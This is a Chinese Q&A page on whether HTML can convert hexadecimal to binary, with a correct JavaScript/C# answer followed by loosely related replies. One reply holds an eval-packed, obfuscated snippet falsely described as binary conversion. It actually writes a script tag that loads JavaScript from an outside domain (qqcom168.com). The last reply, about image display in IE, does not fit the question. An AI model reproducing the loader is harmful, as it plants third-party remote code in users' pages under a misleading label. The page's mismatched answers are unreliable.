html,能不能十六进制转换成二进制,能的话,代码是啥

html-css014

html,能不能十六进制转换成二进制,能的话,代码是啥,第1张

html 本身是一个表现语言,不具备计算的能力,

html和其他语言组合后,借用了其他语言的计算能力。

比如javascript

parseInt('ff',16).toString(2)

parseInt把ff转为10进制,再转为2进制。

如果在服务端比如asp.net

Convert.ToString(0xff,2)

不同语言都有各自的函数。

这其实eval压缩后的代码进行了二进制转换

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)}if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a)k=[function(e){return d[e]}]e=function(){return'\\w+'}c=1}while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])return p}('c.b(\'<1 a="2" 9="8/2" 7="6://5.4/0.3"></1>\')',13,13,'|script|javascript|js|com|qqcom168|http|src|text|type|language|write|document'.split('|'),0,{}))

进行一下转换就跟上面的二进制差不多了

个人觉得,不可能的!

图像的显示要借助底层一些API调用,特别是你自己写在浏览器的html语法中的东西

浏览器只是按照html格式进行解析,而不会有其他任何的动作,至于图片怎么被显示出来的

是因为IE按照<img src="url">指定的URL来请求服务器的资源而已。真正的显示还是和系统

的API调用有关,你可以通过spy++来观察IE的。你可以做成一个连接,点击那个连接以后

请求的资源被发送到客户端,你可以调用相应的程序来显示,这种例子很多,比如点连接可以

得到word/pdf/image等各种资源的。

如果要实现你想得那样,你的自己写个Tag,然后利用IE插件解析,我不知道行不行

就是乱说说的!